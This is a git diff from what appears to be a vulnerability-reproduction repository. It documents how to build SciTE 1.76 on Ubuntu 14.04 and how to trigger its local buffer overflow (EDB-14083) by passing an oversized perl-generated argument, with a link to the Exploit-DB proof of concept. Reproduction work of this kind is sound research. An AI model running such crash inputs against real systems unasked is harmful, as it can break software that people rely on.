diff --git a/EDB-14083/README.md b/EDB-14083/README.md index c1b44f8..bb3a41a 100644 --- a/EDB-14083/README.md +++ b/EDB-14083/README.md @@ -1,15 +1,32 @@ -# CVE/EDB ID +# EDB-14083 ## Experiment Environment +Ubuntu 14.04LTS + ## INSTALL & Configuration +``` +wget https://github.com/mudongliang/source-packages/raw/master/EDB-14083/scite176.zip +unzip scite176.zip +cd scite/gtk +make +``` + ## Problems in Installation & Configuration + ## How to trigger vulnerability +``` +cd ../bin +./SciTE `perl -e 'print "A"x5000'` +``` + ## PoCs +[Scite Text Editor 1.76 - Local Buffer Overflow (PoC)](https://www.exploit-db.com/exploits/14083/) + ## Vulnerability Details & Patch ### Root Cause diff --git a/README.md b/README.md index 1f90660..ff8cfda 100644 --- a/README.md +++ b/README.md @@ -339,7 +339,7 @@ If you encounter problems with keyword "Failed to lock files", you could try to - [x] EDB-10617 - [x] EDB-10634 - [x] EDB-11644 -- [ ] EDB-14083 +- [x] EDB-14083 - [ ] EDB-14452 - [ ] EDB-14904 - [ ] EDB-15054